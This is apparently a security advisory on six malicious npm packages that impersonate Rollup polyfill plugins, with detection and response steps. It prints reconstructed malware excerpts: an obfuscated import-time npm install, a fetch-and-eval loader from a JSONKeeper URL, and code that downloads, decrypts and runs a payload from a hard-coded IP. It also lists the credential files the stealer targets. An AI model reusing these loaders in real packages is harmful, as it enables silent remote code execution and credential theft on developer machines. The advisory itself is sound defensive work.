CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829, CWE-94
Affected Surface
Projects that installed or loaded `rollup-packages-polyfill-core` or `rollup-runtime-polyfill-core` during the June 30-July 4, 2026 exposure window, Second-stage npm packages `swift-parse-stream`, `quirky-token`, `react-icon-svgs`, and `rollup-plugin-polyfill-connect`, including environments that now resolve the registry placeholder version `0.0.1-security`, Developer workstations and CI runners that loaded the CommonJS Rollup plugin entrypoint through Rollup, Vite, or adjacent Node-based build and config flows, Hosts exposing browser profiles, crypto-wallet extension storage, clipboard contents, cloud credentials, SSH keys, Git metadata, or AI-assistant configuration directories to Node.js processes
The freshest package-registry story worth adding this week is not another postinstall hook. It is a reminder that dependency execution can start later and look more legitimate. Public reporting published across the last several days shows six malicious npm packages impersonating Rollup polyfill tooling, but the interesting engineering choice is where the real trigger lives: the CommonJS plugin entrypoint, not the package-manager lifecycle.
That distinction matters because many organizations have finally started hardening against install-time malware. The fake Rollup packages sidestep that mental model. They look like ordinary build-tool dependencies, copy the README and repository metadata of the legitimate rollup-plugin-polyfill-node project, and defer the dangerous behavior until Node loads the plugin through require(). If your build, local config, or CI job imported the package, the attacker got code execution inside the same trust boundary as your developer or runner.
Publicly confirmed affected packages
JFrog’s June 30 disclosure and the later July 3-4 writeups agree on the same six-package cluster:
| Role | Package | Publicly confirmed state | What runs |
|---|---|---|---|
| Entry package | rollup-packages-polyfill-core | Registry history shows new releases through 0.13.8 on 2026-07-01; copies the real Rollup polyfill metadata and README | On CommonJS load, installs and invokes swift-parse-stream |
| Entry package | rollup-runtime-polyfill-core | Public malicious-package reporting explicitly names 0.13.7; registry history continues through 0.14.0 on 2026-07-01 | On CommonJS load, installs and invokes quirky-token |
| Second stage | swift-parse-stream | Malicious-package advisory coverage includes 1.0.0 and 1.0.2; current registry latest is 0.0.1-security | Fetches JSON from JSONKeeper and eval()s the model field |
| Second stage | quirky-token | Malicious-package advisory coverage includes 1.0.0, 1.0.1, and 1.0.2; current registry latest is 0.0.1-security | Fetches JSON from JSONKeeper and eval()s the model field |
| Alternate second stage | react-icon-svgs | Registry latest is 0.0.1-security | Used as another staging package in the same chain |
| Alternate second stage | rollup-plugin-polyfill-connect | Registry latest is 0.0.1-security | Pulled by react-icon-svgs in the alternate staging path |
The registry state is part of the story. As of this writeup:
- the four second-stage packages have been replaced with npm security-holding versions
- the two Rollup-themed entry packages still present as normal package pages with legitimate-looking README content
- the package names remain close enough to the real Rollup polyfill project that a skim review can miss them
That means defenders need two different scoping questions:
- did we ever resolve any of the six names during the exposure window?
- if so, did our build or config path actually load the CommonJS entrypoint?
The backdoor is appended to the CommonJS plugin path
One of the most useful details in the JFrog analysis is that the malware is not smeared across the entire package. The ESM path stays plausible. The appended backdoor lives in dist/index.js, the CommonJS entrypoint:
dist/es/index.js -> looks benign
dist/index.js -> legitimate plugin code + appended loader
That matters because a lot of build and config surfaces still end up here:
const nodePolyfills = require("rollup-packages-polyfill-core");
module.exports = {
plugins: [nodePolyfills()]
};
The package only needs one trusted import path to run. Once dist/index.js executes, the loader decodes a base64-encoded shell command and spawns a second-stage package install:
const CMD = Buffer.from(
"bnBtIGluc3RhbGwgc3dpZnQtcGFyc2Utc3RyZWFtIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==",
"base64"
).toString("utf8");
// npm install swift-parse-stream --no-save --silent --no-audit --no-fund
const [cmd, ...args] = CMD.split(" ");
spawn(cmd, args, { stdio: "ignore", windowsHide: true });
The paired package rollup-runtime-polyfill-core does the same thing with quirky-token. This is the first reason the incident is technically interesting: it is import-time execution disguised as ordinary plugin resolution, not classic lifecycle-script execution.
That also means newer script-blocking defaults do not fully solve this class of attack. Even if you are tightening postinstall policy, a malicious plugin that runs when Node imports your build dependency can still reach the network, write files, and launch follow-on code.
The second stage is a fetch-and-eval loader hidden behind SVG utility cover
The staging packages swift-parse-stream and quirky-token pretend to be SVG sanitization helpers, but their real control path is short and dangerous:
const reqOptions = {
url: "https://www.jsonkeeper.com/b/3P9BF",
headers: { bearrtoken: "logo" }
};
function getPlugin() {
return function () {
request(reqOptions, (_err, res, body) => {
const parsed = JSON.parse(body);
if (typeof parsed.model === "string") {
eval(parsed.model);
}
});
};
}
There are several important implications packed into those few lines:
- the package payload is not fully inside the npm tarball
- the executed code is mutable after publish because JSONKeeper content can change without a new package release
- the control surface is remote JavaScript execution inside the importing Node.js process
- the silent error handling suppresses obvious runtime clues if the staging request fails
In other words, the published package is a delivery wrapper, not the whole payload.
JSONKeeper is only the bridge to the real loader
The JSONKeeper-hosted script does not stop at eval(). JFrog’s recovered chain shows the evaluated code:
- checks for analysis and cloud-hosted environments
- installs helper dependencies such as
axiosandsocket.io-client - pulls an encrypted response from
216.126.236.244 - derives an AES key with
crypto.scryptSync(...) - decrypts a roughly
114 KBJavaScript payload - writes it to a temp file named
pack - runs
node pack
The high-level shape is:
const key = crypto.scryptSync("98cb54c0b4ac259d30c9c1ca1ae87c68", "salt", 32);
const ciphertext = await fetch("http://216.126.236.244/api/service/98cb54c0b4ac259d30c9c1ca1ae87c68");
const plaintext = decryptAes256Cbc(ciphertext, key);
fs.writeFileSync(path.join(tmpdir, "pack"), plaintext);
spawn("node", ["pack"], { cwd: tmpdir, windowsHide: true, stdio: "ignore" });
That layering is why this attack is more resilient than a one-file stealer. The attacker can swap the JSONKeeper stage, rotate the encrypted payload served from the IP, or selectively fail closed in analysis-like environments without changing the visible package README or top-level package metadata.
The remote payload is a RAT, not just a secret grabber
The decrypted pack stage reportedly fans out into multiple local payloads, including scdata and ldata. Public reverse engineering ties those to four major behaviors:
- remote access and host control
- browser and wallet collection
- broad filesystem search and upload
- clipboard monitoring
The remote-access side is unusually full-featured for a build-tool compromise. JFrog reports runtime installs and usage patterns for:
socket.io-client
ssh2
node-pty
screenshot-desktop
sharp
clipboardy
@nut-tree-fork/nut-js
That stack supports more than one-shot exfiltration. It gives the operator interactive terminal access, SSH session support, Windows screenshot capture, mouse and keyboard control, and clipboard reads.
The data-theft side is just as broad. The published analysis describes collection from:
Login Data
Web Data
Local Extension Settings/<wallet-extension-id>/*
~/.aws
~/.ssh
~/.gnupg
.env and secret-like files
.git/config
Code/User/History
Cursor/User/History
Windsurf/User/History
.claude
.gemini
That list makes the targeting boundary explicit: this is a developer-environment and CI foothold. Browser data, wallet stores, source metadata, AI-assistant config, and cloud credentials are all in scope.
The registry timeline also hints at active maintenance
One subtle but useful detail from the current npm metadata is that these packages were not one-shot publishes. The entry packages kept moving:
rollup-packages-polyfill-core
0.13.7 published 2026-06-30T13:17:02Z
0.13.8 published 2026-07-01T16:32:08Z
rollup-runtime-polyfill-core
0.13.7 published 2026-06-17T21:19:12Z
0.13.8 published 2026-06-30T12:49:43Z
0.13.9 published 2026-06-30T13:39:56Z
0.14.0 published 2026-07-01T16:57:34Z
For rollup-runtime-polyfill-core, the 0.13.7 pivot is especially suspicious because it is where the dependency surface changes from only @rollup/plugin-inject to a bundle that also includes axios and request:
{
"@rollup/plugin-inject": "^5.0.4",
"axios": "^1.18.0",
"request": "^2.88.2"
}
That is not normal gravity for a Rollup polyfill package. Even without reverse engineering the tarball, the dependency jump is a strong registry-level signal that the artifact stopped behaving like a simple bundler helper.
Why the import-time trigger matters operationally
A lot of package-response playbooks still start with “did npm install run a lifecycle script?” That question is too narrow for this incident. The right sequence is:
package resolved
-> package imported by Node
-> CommonJS loader path executes
-> second-stage npm install runs
-> JSONKeeper payload is eval'd
-> encrypted follow-on stage is fetched and launched
That means some environments may have the package present without having triggered the full chain, while others may have run it indirectly just by starting a build. For incident response, build logs and execution context matter as much as lockfiles.
This is especially relevant for systems that use Rollup-compatible tooling in local developer flows, framework builds, or CI:
- Rollup projects
- Vite projects that bridge Rollup plugins
- library build setups
- monorepos where shared config imports a plugin at bootstrap time
If the host loaded the CJS plugin entrypoint, assume the follow-on install and remote fetch path executed.
Detection and scoping
Start with lockfiles and installed dependency trees:
npm ls \
rollup-packages-polyfill-core \
rollup-runtime-polyfill-core \
swift-parse-stream \
quirky-token \
react-icon-svgs \
rollup-plugin-polyfill-connect --all
rg -n \
"rollup-packages-polyfill-core|rollup-runtime-polyfill-core|swift-parse-stream|quirky-token|react-icon-svgs|rollup-plugin-polyfill-connect" \
package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Then search hosts and runner workspaces for the published file and process markers:
rg -n "node pack|node scdata|node ldata|vhost\\.ctl|jsonkeeper\\.com/b/3P9BF|216\\.126\\.236\\.244" \
"$HOME" /tmp /var/tmp .
If you can inspect network or EDR telemetry, prioritize:
www.jsonkeeper.com/b/3P9BF
216.126.236.244:4801
216.126.236.244:4806/upload
216.126.236.244:4809/upload
216.126.236.244:4809/cldbs
And if the package was present, answer the execution question directly by reviewing config imports:
rg -n \
"rollup-packages-polyfill-core|rollup-runtime-polyfill-core|rollup-plugin-polyfill-node|require\\(|import " \
rollup.config.* vite.config.* build.* scripts src
The goal is to separate “package ever appeared” from “package was actually loaded in a process that had secrets.”
Response guidance
Treat any confirmed execution as host compromise, not just dependency drift.
- Isolate affected workstations or runners before broad credential rotation.
- Preserve lockfiles, package-cache entries, temporary payload files, and process/network telemetry.
- Rotate npm, GitHub, cloud, SSH, browser-stored, wallet, and AI-provider credentials exposed to the host.
- Rebuild CI runners or developer images from known-good bases instead of trusting in-place cleanup.
- Audit browser profiles, extension storage, shell histories, and developer-tool config directories because the published collection scope explicitly includes them.
The important lesson is that the trust boundary was never just npm install. In this campaign, the meaningful exploit surface was the moment a build tool loaded what looked like an ordinary plugin. If your review model still treats “package imports inside trusted build config” as low risk, this cluster shows exactly how attackers plan to use that assumption.
References
- JFrog: Lazarus-Linked npm Malware Masquerades as Rollup Polyfills
- TechTimes: North Korea's Lazarus Group Hid a Full RAT in Six Rollup Polyfill npm Packages
- The Next Web: North Korea-linked npm packages impersonate Rollup polyfill tools to steal developer secrets
- npm package page: rollup-packages-polyfill-core
- GitHub Advisory: swift-parse-stream
- GitHub Advisory: quirky-token
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere
- CWE-94 Code Injection